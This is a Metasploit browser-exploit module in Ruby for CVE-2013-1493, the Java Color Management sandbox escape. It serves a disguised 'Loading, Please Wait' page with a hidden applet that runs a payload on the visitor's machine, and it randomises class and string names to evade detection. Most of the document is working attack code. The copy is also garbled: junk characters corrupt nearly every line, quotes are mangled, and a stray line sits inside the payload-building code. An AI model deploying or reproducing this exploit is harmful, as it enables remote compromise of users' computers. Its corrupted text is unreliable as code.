##
# E) j( f, [& s- P$ H2 c
C& z2 l; X, {3 a# This file is part of the Metasploit Framework and may be subject to8 Q2 S: ?! f& w: D8 F! ?) Q
# redistribution and commercial restrictions. Please see the Metasploit
5 a ]$ Z* p' g9 w5 a# C2 @. t# web site for more information on licensing and terms of use.; Q' T% l9 E1 u- Z
# http://metasploit.com/
9 k1 g3 l! I; C##
4 v: R! `$ ^: t; s$ ?+ T x! p5 c' qrequire ‘msf/core’
. z) }) W, Z8 Trequire ‘rex’
) u6 i3 h2 V$ A$ h9 Z. [7 Mclass Metasploit3 < Msf::Exploit::Remote
3 c# K8 b& c; I' R+ aRank = NormalRanking
0 E8 x2 G( N, J$ @5 s9 Yinclude Msf::Exploit::Remote::HttpServer::HTML6 A# T7 G; U% L# P
include Msf::Exploit::EXE6 O# o! d9 l: F5 k0 `
include Msf::Exploit::Remote::BrowserAutopwn+ G6 ]) x- Y( e- `5 I7 s
autopwn_info({ :javascript => false })
8 p; _1 H7 f/ s/ `3 ~def initialize( info = {} ), c6 N- w# \3 c5 I/ H+ }: y7 T
super( update_info( info,
2 k# O% `5 V/ f% s8 j‘Name’ => ‘Java CMM Remote Code Execution’,( q7 ^+ i: n; w& |/ X' q0 N- p
‘Description’ => %q{! {- T& ^. x3 z: h3 q
This module abuses the Color Management classes from a Java Applet to run. x3 L" ?' e+ H- ~: |/ R8 M$ K
arbitrary Java code outside of the sandbox as exploited in the wild in February
( o6 @6 B2 I2 k3 j( p% o" Q7 D J/ Jand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
1 q/ ~6 g* B( |6 _) ?and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1* Z4 J G/ T7 i$ y
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
0 l+ w& X q% j+ K% ]warning in order to run the malicious applet.9 E5 V; d7 b2 X& z2 G
},5 s+ ]* \7 \+ q
‘License’ => MSF_LICENSE,8 d, j6 L3 w+ N: d6 Z/ g
‘Author’ =>7 ?. c6 {. M& b" }( z* g
'Unknown', # Vulnerability discovery and Exploit
' I. p1 _4 F4 }% n7 s'juan vazquez' # Metasploit module (just ported the published exploit)5 o4 ~' T- j" c+ j3 e$ C
],1 L/ E) D! A6 r J
‘References’ =>
! s" S: m1 p' D. W[
1 z( x: F; U! u; ^! k[ 'CVE', '2013-1493' ],
( ]: x" `6 v; B& D l[ 'OSVDB', '90737' ],
0 D% x# S" p3 d% V2 A) ][ 'BID', '58238' ],6 p) f7 f) W0 u& J6 l$ R
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],+ ^1 L. s: M$ w& e
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],- A; V3 r7 o9 p8 }* [4 n
[ 'URL', 'http://pastie.org/pastes/6581034' ]
2 i, T3 m/ X. ~8 l],
3 L6 R- \' s+ N0 y6 o5 u3 A‘Platform’ => [ 'win', 'java' ],
, b# K d1 ]$ G1 e0 x) B‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
3 C4 w! n% E) d) ^+ x8 t‘Targets’ =>
; C0 J: ]2 e m/ _8 w+ W[
V1 E* Y6 Q% ~0 Q) i, S5 G[ 'Generic (Java Payload)',
' W, ^5 `$ g- Q4 \& q{
$ U, f. N' D/ \8 w4 a'Platform' => 'java',
5 v4 @- O! u5 P'Arch' => ARCH_JAVA* I; Q3 I3 C4 N9 E6 r4 G! X
}
1 F" C, i- B) a],
! }2 E1 n& `3 i9 h: E) ~[ 'Windows x86 (Native Payload)',
0 {+ h0 |& K& N8 T' U' c{4 o4 i- d( r# H. z& ^/ r
'Platform' => 'win',: z' R2 c: u: `
'Arch' => ARCH_X862 C/ L, }( i2 ^
}5 F! P; ?5 ]+ s, L
]$ W% f2 h0 D$ a3 S9 }" o' L
],4 R: c4 v; U( L
‘‘DisclosureDate’ => ‘Mar 01 2013′; R3 M/ V4 O5 ^# K8 ?% N
))
& T: f) T# i$ i) h2 Hend
$ A; f1 j9 C- ~def setup
$ z& v# `5 V" M, R7 _path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
* x, g7 f" ~6 Y4 ^@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% e$ `- ^+ U) U9 y# \path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
5 A4 v2 ~+ }' `# F% k$ |@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% T$ D* v; g8 X" }path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
( R7 N" c f2 S2 B7 S, [@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ n4 K# G) L+ _4 T- B
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
: S5 x; O& J" `: Z2 f% U) ~2 H@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }" M! y) k$ L) `9 F$ E* h
@init_class_name = rand_text_alpha(“Init”.length)
) o8 t8 h; r. n# i8 \$ I@init_class.gsub!(“Init”, @init_class_name)2 A2 \, N0 Y( ]8 X4 D" Y
super3 @' O% B, c' k& {
end
/ r3 q3 h& r0 ^+ Q- {, Wdef on_request_uri(cli, request)
' t' _5 {' r, a. L$ W0 K' M \, Oprint_status(“handling request for #{request.uri}”)
. B# f; n! r6 |; i8 X' x3 E+ Kcase request.uri
, b+ ~+ l( _' |$ L/ d3 Ywhen /\.jar$/i& Y5 O) E+ R4 n9 ]8 g+ `: X
jar = payload.encoded_jar
. g- {( ]* ~( D0 E G; U& \: Fjar.add_file(“#{@init_class_name}.class”, @init_class)
! k8 @4 ~0 z% N) S+ xjar.add_file(“Leak.class”, @leak_class)
) `7 W3 m# o2 k, A* E* x9 [5 N) g* {jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
" S: I) x8 D" o$ m+ `/ pjar.add_file(“MyColorSpace.class”, @color_space_class)
- z, Z& M+ j" kDefaultTarget’ => 1,
' `& Y+ w+ s M) zmetasploit_str = rand_text_alpha(“metasploit”.length)- k# ]' b$ J5 b3 {
payload_str = rand_text_alpha(“payload”.length)
2 P! p' }6 p! j" v" ]1 b% K8 {jar.entries.each { |entry|
" D$ v+ T! R% P0 M9 k. ~: ventry.name.gsub!(“metasploit”, metasploit_str)" k: E) C' T# X+ a- _
entry.name.gsub!(“Payload”, payload_str)# c, C! F" e5 C D* E
entry.data = entry.data.gsub(“metasploit”, metasploit_str)' \( r, u( ]2 w6 b
entry.data = entry.data.gsub(“Payload”, payload_str)
, Q m ^, {/ J, D) D6 l}
4 ~, W' i: x9 D7 g$ _9 ^5 @) \jar.build_manifest
' y/ w/ G# a6 ~* }! n. O$ [" J# rsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })1 z7 ]1 o1 B* b2 [% u" y. V
when /\/$/
& Q# q) R9 m8 ~! Zpayload = regenerate_payload(cli)
. c( `9 N: b- Eif not payload
, v. x3 x$ s7 D- a. ]. yprint_error(“Failed to generate the payload.”)
. K, q) w9 \9 `( d* xsend_not_found(cli); t3 n8 ~% N) w S
return- ~! V8 q( w4 w! O
end
2 V1 v6 I7 t. G" O: P: ksend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
8 o5 ^0 z( G# i' ] O& Zelse
$ E- J0 p) m. t J2 b! p8 psend_redirect(cli, get_resource() + ‘/’, ”)2 o% ?) S. W# I: F& w( B! v: n
end% e. ?4 D* o- i3 x& A1 ^+ ?( U
end4 d# ^0 K5 u* [0 z
def generate_html
: R5 B# L" I, V& R" m1 d" j. ehtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
( x: E! a- @0 ~# s, q5 W* |% x# ahtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
+ l9 R8 T6 Y5 P% e9 K9 }& s9 Khtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
( [. G" z3 H. C5 t! Dhtml += %Q|</applet></body></html>|! H. }5 @! U. |6 f a$ a+ f7 J6 O, L
return html* H2 R. v" P9 }+ i2 h A
end! o5 y& I# A+ v/ v+ W2 ^
end3 ^5 ~3 x0 R7 B; C" D
end% S- |! p% k# Z
|